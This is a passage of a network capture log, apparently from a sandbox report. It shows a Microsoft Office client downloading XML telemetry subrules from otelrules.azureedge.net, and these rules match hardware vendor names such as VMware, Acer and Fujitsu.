R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.4	49769	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:20 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:20 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:20 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: fcb0891e-801e-007b-6669-28e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181220Z-r1755647c666s72wx0z5rz6s6000000006d000000000bws8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:20 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.4	49771	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:20 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:20 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:20 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: abb1733e-f01e-005d-6a3c-2813ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181220Z-r1755647c66hbclz9tgqkaxg2w00000006y0000000009d8b x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:20 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.4	49770	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:20 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:20 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:20 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: c8022c20-501e-00a3-08ae-26c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181220Z-r1755647c66z67vn9nc21z11a800000004r000000000eret x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:20 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.4	49774	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:21 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:21 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:21 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 898be286-601e-003d-2804-276f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181221Z-r1755647c66xdwzbrg67s9avs400000005s000000000g0yk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:21 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	49776	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:21 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:21 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:21 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 1a39e609-901e-0048-60a3-26b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181221Z-r1755647c66ss75qkr31zpy1kc00000004xg00000000kpkq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:21 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	49775	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:21 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:21 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:21 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 9a09e836-e01e-0052-3cae-26d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181221Z-17fbfdc98bbds27mnhu6ftg4d800000003ug000000003d3e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:21 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	49777	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:21 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:21 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:21 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: bb58e6ef-e01e-000c-4187-288e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181221Z-r1755647c66p58nm9wqx75pnms00000004f000000000hh3z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:21 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	49773	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:21 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:21 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:21 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 6484a1a6-201e-0000-75a3-26a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181221Z-r1755647c66ldhdjeavapf4fd000000005eg000000006bax x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:21 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	49780	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:22 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:22 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:22 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 4f99c795-b01e-0097-3bfd-274f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181222Z-17fbfdc98bb8mkvjfkt54wa53800000003cg0000000045xx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:22 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	49778	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:22 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:22 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:22 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: bfc21b6c-401e-0067-2636-2809c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181222Z-r1755647c66ss75qkr31zpy1kc0000000520000000007drt x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:22 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	49781	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:22 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:22 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:22 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 8ee7b399-e01e-0033-0c50-234695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181222Z-17fbfdc98bbvvplhck7mbap4bw000000075g0000000000c0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:22 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	49782	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:22 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:22 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:22 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 67fffc2c-401e-000a-5dae-264a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181222Z-r1755647c666s72wx0z5rz6s6000000006h0000000001fbe x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
